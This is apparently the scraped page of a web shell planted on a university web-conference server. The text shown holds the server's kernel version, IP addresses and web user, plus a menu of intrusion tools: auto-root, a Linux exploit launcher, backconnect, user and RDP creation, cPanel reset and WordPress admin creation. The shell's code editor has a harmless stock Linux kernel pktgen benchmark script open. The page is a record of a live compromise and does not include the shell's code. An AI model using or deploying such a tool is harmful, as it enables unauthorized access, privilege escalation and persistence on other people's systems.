Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.225.92.251
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-204 /
samples /
pktgen /
[ HOME SHELL ]
Name
Size
Permission
Action
functions.sh
4.77
KB
-rw-r--r--
parameters.sh
3.09
KB
-rw-r--r--
pktgen_bench_xmit_mode_netif_r...
3.03
KB
-rwxr-xr-x
pktgen_bench_xmit_mode_queue_x...
2.22
KB
-rwxr-xr-x
pktgen_sample01_simple.sh
2.26
KB
-rwxr-xr-x
pktgen_sample02_multiqueue.sh
2.54
KB
-rwxr-xr-x
pktgen_sample03_burst_single_f...
2.94
KB
-rwxr-xr-x
pktgen_sample04_many_flows.sh
2.85
KB
-rwxr-xr-x
pktgen_sample05_flow_per_threa...
2.62
KB
-rwxr-xr-x
pktgen_sample06_numa_awared_qu...
3.36
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pktgen_bench_xmit_mode_queue_xmit.sh
#!/bin/bash # SPDX-License-Identifier: GPL-2.0 # # Benchmark script: # - developed for benchmarking egress qdisc path, derived (more # like cut'n'pasted) from ingress benchmark script. # # Script for injecting packets into egress qdisc path of the stack # with pktgen "xmit_mode queue_xmit". # basedir=`dirname $0` source ${basedir}/functions.sh root_check_run_with_sudo "$@" # Parameter parsing via include source ${basedir}/parameters.sh if [ -z "$DEST_IP" ]; then [ -z "$IP6" ] && DEST_IP="198.18.0.42" || DEST_IP="FD00::1" fi [ -z "$DST_MAC" ] && DST_MAC="90:e2:ba:ff:ff:ff" # Burst greater than 1 are invalid for queue_xmit mode if [[ -n "$BURST" ]]; then err 1 "Bursting not supported for this mode" fi [ -z "$COUNT" ] && COUNT="10000000" # Zero means indefinitely if [ -n "$DST_PORT" ]; then read -r DST_MIN DST_MAX <<< $(parse_ports $DST_PORT) validate_ports $DST_MIN $DST_MAX fi # Base Config DELAY="0" # Zero means max speed # General cleanup everything since last run pg_ctrl "reset" # Threads are specified with parameter -t value in $THREADS for ((thread = $F_THREAD; thread <= $L_THREAD; thread++)); do # The device name is extended with @name, using thread number to # make then unique, but any name will do. dev=${DEV}@${thread} # Add remove all other devices and add_device $dev to thread pg_thread $thread "rem_device_all" pg_thread $thread "add_device" $dev # Base config of dev pg_set $dev "flag QUEUE_MAP_CPU" pg_set $dev "count $COUNT" pg_set $dev "pkt_size $PKT_SIZE" pg_set $dev "delay $DELAY" pg_set $dev "flag NO_TIMESTAMP" # Destination pg_set $dev "dst_mac $DST_MAC" pg_set $dev "dst$IP6 $DEST_IP" if [ -n "$DST_PORT" ]; then # Single destination port or random port range pg_set $dev "flag UDPDST_RND" pg_set $dev "udp_dst_min $DST_MIN" pg_set $dev "udp_dst_max $DST_MAX" fi # Inject packet into TX qdisc egress path of stack pg_set $dev "xmit_mode queue_xmit" done # start_run echo "Running... ctrl^C to stop" >&2 pg_ctrl "start" echo "Done" >&2 # Print results for ((thread = $F_THREAD; thread <= $L_THREAD; thread++)); do dev=${DEV}@${thread} echo "Device: $dev" cat /proc/net/pktgen/$dev | grep -A2 "Result:" done
Close